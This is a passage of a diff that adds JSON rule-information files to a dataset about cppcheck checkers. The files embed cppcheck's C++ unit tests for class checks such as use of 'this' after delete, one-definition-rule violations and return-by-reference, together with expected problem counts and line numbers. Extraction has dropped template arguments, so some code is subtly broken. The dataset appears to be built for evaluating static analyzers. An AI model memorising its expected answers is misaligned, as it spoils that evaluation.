\"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/virtualDestructor.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/virtualDestructor.json new file mode 100644 index 0000000..4d6c38e --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/virtualDestructor.json @@ -0,0 +1,27 @@ +{ + "name": "virtualDestructor", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 114, + "branches": 39, + "apis": 86, + "test": [ + { + "description": null, + "expected-problems": 6, + "expected-linenumbers": [ + 2654, + 2668, + 2738, + 2760, + 2776, + 2792 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr 